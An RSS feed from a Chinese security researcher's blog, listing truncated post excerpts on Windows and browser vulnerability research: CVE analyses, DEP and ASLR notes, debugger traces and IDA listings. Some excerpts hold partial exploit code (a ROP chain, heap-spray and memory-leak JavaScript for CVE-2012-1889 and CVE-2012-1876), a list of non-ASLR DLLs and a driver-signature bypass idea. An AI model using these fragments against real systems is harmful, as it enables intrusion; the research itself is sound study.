<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[爱杀之爪的矩阵]]></title><description><![CDATA[我的青春是拿来奋斗的！]]></description><link>https://blog.youkuaiyun.com/instruder</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; instruder]]></copyright><item><title><![CDATA[ms10_046_shortcut_icon_dllloader 这个其实很好用]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/23219135</link><guid>https://blog.youkuaiyun.com/instruder/article/details/23219135</guid><author>instruder</author><pubDate>Tue, 08 Apr 2014 23:34:21 +0800</pubDate><description><![CDATA[]]></description><category></category></item><item><title><![CDATA[MSVCRT:ROP - CN  修改ROP检测标志]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/23218763</link><guid>https://blog.youkuaiyun.com/instruder/article/details/23218763</guid><author>instruder</author><pubDate>Tue, 08 Apr 2014 23:21:34 +0800</pubDate><description><![CDATA[function getddd()
	{
	var kkkkk = unescape("\u0433\u77bf");
	kkkkk +=unescape("\u5ed5\u77be"); //xchg eax,esp retn
	
	kkkkk += unescape("\uf519\u77be")////pop ecx,retn
	kkkkk += unescape("\u9ef8\u1009]]></description><category></category></item><item><title><![CDATA[openjdk windows 编译]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/8834117</link><guid>https://blog.youkuaiyun.com/instruder/article/details/8834117</guid><author>instruder</author><pubDate>Mon, 22 Apr 2013 13:45:26 +0800</pubDate><description><![CDATA[前记
 
如果你不是闲着蛋疼最好不要在windows上面编译，linux上面一会就编译好了。。。。可是windows上面  只想说10个字“尼玛”
 
出现问题了  可以直接改他的makefile和gmk 爷爷的 例如那个verify.res 啥的 明明没有 他非要加入link 中，导致编译失败
 
感叹 人生太多的时间花费在这些虽然结果有用，但是过程无用的地方了]]></description><category></category></item><item><title><![CDATA[Well-known DEP-violating thunks]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/8784727</link><guid>https://blog.youkuaiyun.com/instruder/article/details/8784727</guid><author>instruder</author><pubDate>Wed, 10 Apr 2013 19:24:57 +0800</pubDate><description><![CDATA[这几天调试发现一个奇怪的现象，一个在数据区段执行的指令，在开启了系统dep时

竟然还可以继续执行，换成其他指令就不可以，而且执行时这个内存属性仍旧是不可

执行属性。同时按理指令是一条一条执行，但是这个指令的执行是跳跃了，瞬间差点毁了

多年的指令执行三观。

debug

win7+system dep open

Breakpoint 0 hit
eax=2e81e]]></description><category></category></item><item><title><![CDATA[肉眼挖啊挖]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/8758650</link><guid>https://blog.youkuaiyun.com/instruder/article/details/8758650</guid><author>instruder</author><pubDate>Thu, 04 Apr 2013 11:54:40 +0800</pubDate><description><![CDATA[蛋疼 待验证

.text:1000C855 cycle_big:                              ; CODE XREF: sus_sub_1000C520+3D2j
.text:1000C855                 push    1
.text:1000C857                 mov     ecx, ebx
.text:1000]]></description><category></category></item><item><title><![CDATA[权限提升]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/8738343</link><guid>https://blog.youkuaiyun.com/instruder/article/details/8738343</guid><author>instruder</author><pubDate>Fri, 29 Mar 2013 21:00:27 +0800</pubDate><description><![CDATA[普通权限在不需要任何验证即启动了一个高级别权限的进程 本身就存在了很大的风险。


权限存在交互 就很容易导致问题]]></description><category></category></item><item><title><![CDATA[CVE-2013-0636]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/8587450</link><guid>https://blog.youkuaiyun.com/instruder/article/details/8587450</guid><author>instruder</author><pubDate>Mon, 18 Feb 2013 12:20:48 +0800</pubDate><description><![CDATA[http://www.adobe.com/support/security/bulletins/apsb13-06.html]]></description><category></category></item><item><title><![CDATA[当前多数杀软主防存在的缺陷]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/8253868</link><guid>https://blog.youkuaiyun.com/instruder/article/details/8253868</guid><author>instruder</author><pubDate>Mon, 03 Dec 2012 23:18:22 +0800</pubDate><description><![CDATA[见 链接   http://www.binvul.com/viewthread.php?tid=240&extra=page%3D1]]></description><category></category></item><item><title><![CDATA[乱猜]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/8245159</link><guid>https://blog.youkuaiyun.com/instruder/article/details/8245159</guid><author>instruder</author><pubDate>Fri, 30 Nov 2012 21:50:48 +0800</pubDate><description><![CDATA[http://bbs.360safe.com/thread-111959-1-1.html



iocode 0x222020 


.text:000110C6 ; int __stdcall sub_110C6(int processid)
.text:000110C6 sub_110C6       proc near               ; CODE XREF:]]></description><category></category></item><item><title><![CDATA[WIN7-8 签名]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/8181558</link><guid>https://blog.youkuaiyun.com/instruder/article/details/8181558</guid><author>instruder</author><pubDate>Wed, 14 Nov 2012 10:07:09 +0800</pubDate><description><![CDATA[http://linuxch.org/poc2012/MJ0011,Using%20a%20Patched%20Vulnerability%20to%20Bypass%20Windows%208%20x64%20Driver%20Signature%20Enforcement.pdf



随便找个有漏洞的签名sys，然后在win8 win7下加载然后不就可以过签名了嘛



比如]]></description><category></category></item><item><title><![CDATA[ie 0day 分析]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/8010192</link><guid>https://blog.youkuaiyun.com/instruder/article/details/8010192</guid><author>instruder</author><pubDate>Sun, 23 Sep 2012 17:31:54 +0800</pubDate><description><![CDATA[http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/]]></description><category></category></item><item><title><![CDATA[cve-2012-1876 win7_ie8_leak_shellcode code]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/7842960</link><guid>https://blog.youkuaiyun.com/instruder/article/details/7842960</guid><author>instruder</author><pubDate>Wed, 08 Aug 2012 12:55:06 +0800</pubDate><description><![CDATA[alert("begin")

//var div_container = document.getElementById("test");
//div_container.style.cssText = "display:none";
var cloned = new Array();
var selob = document.createElement("select");
selob.w0]]></description><category></category></item><item><title><![CDATA[cve2012-1876 leak mshtml base address and leak shellcode base address]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/7836895</link><guid>https://blog.youkuaiyun.com/instruder/article/details/7836895</guid><author>instruder</author><pubDate>Mon, 06 Aug 2012 21:21:58 +0800</pubDate><description><![CDATA[leak mshtml base address 





leak shellcode base address








其中leak shellcode base 思路是联合 http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003]]></description><category></category></item><item><title><![CDATA[CVE2012-1723 Java Field Bytecode Verifier Cache RCE分析]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/7786509</link><guid>https://blog.youkuaiyun.com/instruder/article/details/7786509</guid><author>instruder</author><pubDate>Wed, 25 Jul 2012 21:10:20 +0800</pubDate><description><![CDATA[漏洞分析


http://www.binvul.com/viewthread.php?tid=134&extra=page%3D1]]></description><category></category></item><item><title><![CDATA[chrome 插件的一处bug crash]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/7752469</link><guid>https://blog.youkuaiyun.com/instruder/article/details/7752469</guid><author>instruder</author><pubDate>Mon, 16 Jul 2012 17:38:47 +0800</pubDate><description><![CDATA[https://code.google.com/p/chromium/issues/detail?id=127720&thanks=127720&ts=1336704072]]></description><category></category></item><item><title><![CDATA[cve-2010-4452 codebase 和code标签属性未检测同源策略导致任意代码执行漏洞]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/7730905</link><guid>https://blog.youkuaiyun.com/instruder/article/details/7730905</guid><author>instruder</author><pubDate>Mon, 09 Jul 2012 22:35:46 +0800</pubDate><description><![CDATA[引用http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/
 
漏洞poc
 





 
漏洞原理：
 
Applet有2个标签参数，codebase和code，c]]></description><category></category></item><item><title><![CDATA[没有ASLR的几个DLL]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/7684739</link><guid>https://blog.youkuaiyun.com/instruder/article/details/7684739</guid><author>instruder</author><pubDate>Fri, 22 Jun 2012 15:49:13 +0800</pubDate><description><![CDATA[DpoFeedb.dll        指纹识别 现在买的笔记本都有
MSCOMCTL.OCX 需要用户点一次允许 之后就不需要了
VBE7INTL.DLL    未找到加载方式
迅雷                 mcvcr71.dll
java6                 mcvcr71.dll
comct232.ocx      需要用户点一次允许 之后就不需要了
com]]></description><category></category></item><item><title><![CDATA[失之交臂的 cve 2012-0181]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/7684701</link><guid>https://blog.youkuaiyun.com/instruder/article/details/7684701</guid><author>instruder</author><pubDate>Fri, 22 Jun 2012 15:45:04 +0800</pubDate><description><![CDATA[1: kd> p
win32k!ReadLayoutFile+0x123:
bf89edb7 7407            je      win32k!ReadLayoutFile+0x12c (bf89edc0)
1: kd> p
win32k!ReadLayoutFile+0x125:
bf89edb9 0fb703          movzx   eax,word ptr []]></description><category></category></item><item><title><![CDATA[cve2012-1889 ie8 rop]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/7675089</link><guid>https://blog.youkuaiyun.com/instruder/article/details/7675089</guid><author>instruder</author><pubDate>Tue, 19 Jun 2012 00:49:30 +0800</pubDate><description><![CDATA[采用inking 大牛的方法
function exploit()
{


obj = document.getElementById('oo').object;

var src = unescape("%u0c0c%u0c0c");

while (src.length < 0x1002) src += src;

src = "\\\\xxx" + src;

src = src.subs]]></description><category></category></item><item><title><![CDATA[vm 快照快速分析堆类型漏洞]]></title><link>https://blog.youkuaiyun.com/instruder/article/details/7640049</link><guid>https://blog.youkuaiyun.com/instruder/article/details/7640049</guid><author>instruder</author><pubDate>Wed, 06 Jun 2012 22:35:18 +0800</pubDate><description><![CDATA[先选择一个虚拟机快照的分析开始点，这个点要把握好，堆的布局基本定了，不再改变


然后直接运行poc，在崩溃地方，下这个断点Flash11e+0x5261c


0:022> u Flash11e+0x5261c
Flash11e+0x5261c:
053c261c 8bb614050000    mov     esi,dword ptr +0x513 (00000514)[es]]></description><category></category></item></channel></rss>